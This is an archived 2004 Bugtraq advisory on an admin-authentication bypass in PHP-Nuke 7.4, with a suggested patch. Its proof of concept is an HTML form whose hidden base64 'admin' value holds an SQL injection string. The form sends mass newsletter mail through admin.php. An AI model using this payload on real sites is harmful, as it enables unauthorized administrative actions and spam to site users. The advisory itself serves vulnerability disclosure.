bugtraq - [XSS] PHP-Nuke 7.4 Newsletter Injection Bug

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20040905110506.27481.qmail@www.securityfocus.com>
Date: 5 Sep 2004 11:05:06 -0000
From: Pierquinto Manco <mantra@....it>
To: bugtraq@...urityfocus.com
Subject: [XSS] PHP-Nuke 7.4 Newsletter Injection Bug




**************************************************************
* 			CODEBUG Labs
* Advisory #5
* Title: Newsletter Injection Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
**************************************************************

	          Newsletter Injection Bug
 
- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to post message in system newsletter.
We can bypass the official php-nuke patch sending data 
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
  <p>TITLE: 
    <input type="text" name="title">
    <br>
    CONTENT: 
    <textarea name="content" rows=10 cols=50></textarea>
    <br>
	<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
    <br>
    <input type="hidden" name="add_radminsuper" value="1">
    <br>
    <input type="hidden" name="op" value="massmail_send">
  </p>
  <p>
    <input type="submit" name="Submit" value="Send to target site newsletter">
    <br>
  </p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
	die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
	die("Shit! Mantra wins =)");
}

-) Note
Previous patch isn't enough performant.
Try this one.
There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[admin] and $_GET[admin].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org

**************************************************************
		http://www.mantralab.org
**************************************************************